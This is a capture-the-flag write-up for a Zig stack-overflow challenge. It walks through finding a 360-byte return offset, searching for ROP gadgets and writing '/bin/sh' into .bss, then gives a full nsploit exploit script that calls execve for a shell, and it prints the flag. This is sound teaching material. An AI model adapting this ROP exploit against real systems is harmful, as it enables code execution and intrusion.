"Sometimes rust is just a little too safe for me."
We are provided with an x86_64 ELF executable and its corresponding Zig source
code. There is also a dummy flag file and Dockerfile that can be used to
construct a functioning mirror of the remote. I never bothered with this docker
image while testing, opting to simply debug the executable and test various
inputs with sploit.
The program is a very simple Zig file:
```
const std = @import("std");
const print = std.debug.print;
pub fn main() void {
print("you can never have too much zip pwn.\n", .{});
var backing: [0x100]u8 = undefined;
var buf: []u8 = &backing;
buf.len = 0x1000;
_ = std.io.getStdIn().read(buf) catch {};
}
```
RE
--
The program appears to attempt to read up to 0x1000 bytes into a buffer of size
0x100. If my understanding of the Zig API involved is correct, the language's
stdin.read() is still trying to do a properly bounded read, but the challenge
author has thwarted that by making a "cast" of the backing memory area (called
`buf`) with its size information overridden. This should allow us to smash the
stack by overrunning the area allocated for `backing` (the actual stack-based
memory) when main calls stdin.read(buf).
I analyzed the main() function in ghidra - here is a truncated view of what
happens. First, "you can never have..." is printed; then the space for
`backing` is initialized to all 0xaa bytes. The read at the end is shown:
```
uStack_168 = 0xaaaaaaaaaaaaaaaa;
backing[0] = 0xaa;
backing[1] = 0xaa;
backing[2] = 0xaa;
backing[3] = 0xaa;
backing[4] = 0xaa;
backing[5] = 0xaa;
backing[6] = 0xaa;
backing[7] = 0xaa;
buf.ptr = (u8 *)0x1000;
getStdIn();
buf.len._4_4_ = (undefined4)buf.len;
read((int)local_18,&local_180,(size_t)((long)&buf.len + 4)); // !
return;
}
```
That read() call is to an instance method on the stdin object obtained with
`getStdIn()`. Since I'm not at all familiar with the Zig standard library, I
didn't originally trace the calls down to the actual read system call. Instead,
I tried feeding the program a large de Bruijn sequence and looking for a crash.
When catching a crash this way, you just need to check what address RIP tried
to jump to and search the original input for that bit pattern. Since the input
sequence should have no duplicate substrings, we can unambiguously determine the
offset at which to place an attacker-controlled return address to gain
execution.
Using this method, I determined the necessary offset to be 360 bytes. Just to
confirm, if we feed this basic sploit payload into the program, we should get
main to "return" into 0xdeadbeef (and crash).
io.writeline(Payload()(padlen(360), 0xdeadbeef)())
I had planned at this point to construct a ROP chain to call into libc and
obtain a shell on the remote. However, on a quick glance of the binary we can
see that not only is this a statically linked executable, but Zig doesn't
appear to lean on the C runtime library at all. So, a different path to exec()
would need to be found.
I will also point out here that the executable is also compiled as non-PIC,
but I did not realize that at this point. I proceeded to construct my ROP
chain under the assumption that ASLR was randomizing the location of my
non-.text sections. I know, that sounds odd in hindsight, but that should
explain how and why I was trying to load the string for "/bin/sh" from a stack
address in the way that I was.
ROP
===
As stated above, we have a different set of standard library functions compiled
into the program as you might expect with libc. There is no function for
execve() or similar, however there are some generic syscall functions. I
attempt to call syscall3() in this way:
syscall3(59, binsh_ptr, 0, 0) //execve("/bin/sh", NULL, NULL)
59 is the syscall number for execve() on linux x86_64, and while the last two
arguments aren't "supposed" to be NULL, we can set them that way without
breaking anything.
Since this isn't based on a libc, there is no "/bin/sh" string in memory that
we can just search for and point to. The bytes need to be loaded by our
attack somehow. We can trivially place them on the stack - just include the
string directly in the response we send to read(). However, we don't know the
location of the stack in memory and would have to leak the string's address.
Loading arbitrary stack memory (unnecessary)
============================================
I searched for any gadget that would be useful for mov-ing the current stack
pointer address into some other register. This way I could implant "/bin/sh"
on the stack payload (as described above) then grab a reference to it to use
later in the ROP chain. If you pair such a gadget with another one that makes
a pop or two into unrelated registers, you can nudge the stack pointer past
this string data and continue on executing your ROP.
The only potentially useful gadgets like this involved a `mov rbp, rsp`
instruction - the problem with all of them is that they were each part of a
function epilogue that does `pop rbp; ret` at the end, overwriting our saved
stack address.
Some other gadgets did the same initial mov and involved an `xchg rbp, *`.
These looked promising, but each ended up being unviable for one reason or
another.
I eventually realized what I mentioned earlier in this writeup: the file is
non-PIC, so we have reliable runtime addresses for sections like .data and
.bss. It was this realization that allowed me to construct my final ROP chain.
ROP (for real)
==============
I have a known writable location in memory that I can use - that being the start
of the .bss section. Since I don't mind crashing the process after getting the
flag, my payload can freely use this space to house any data it needs. I'll
store the string "/bin/sh\x00" here.
sploit has a feature for incorporating arbitrary memory access into ROP chains,
but I did need to manually find a gadget for it to use. This was found using
r2 in sploit's gadget search:
Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret')
AKA: If I can get values into rdi and rdx, this gadget will write the bytes
encoded in rdi, into the memory location pointed to by rdx. eax is also set to
zero, this is just a random side-effect of executing this gadget, and should be
accounted for by the rest of the ROP chain.
In my solution script, I needed to manually identify a couple other "register
controlling" gadgets too. You'll see those in the solution below. The main
job of my exploit script is fairly straightforward at this point - just produce
a single payload with the following ROP:
- 360 padding bytes
- write "/bin/sh\x00" to address 0x10d8000 (.bss)
- setup registers to call syscall3(59, 0x10d8000, 0, 0)
When the exec completes, we will have an interactive shell on the system and
can just cat the flag file. See my full nsploit script below.
amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha}
```
from nsploit.rev import *
from nsploit.tech import *
elf = ELF("./chal")
rop = ROP(elf)
straddr = elf.sym.sect['.bss']
elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp'])
elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp'])
elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0})
payload = Payload()
payload.pad = padlen(360)
payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00")
payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0)
print(payload)
io.writeline(payload())
io.interact()
```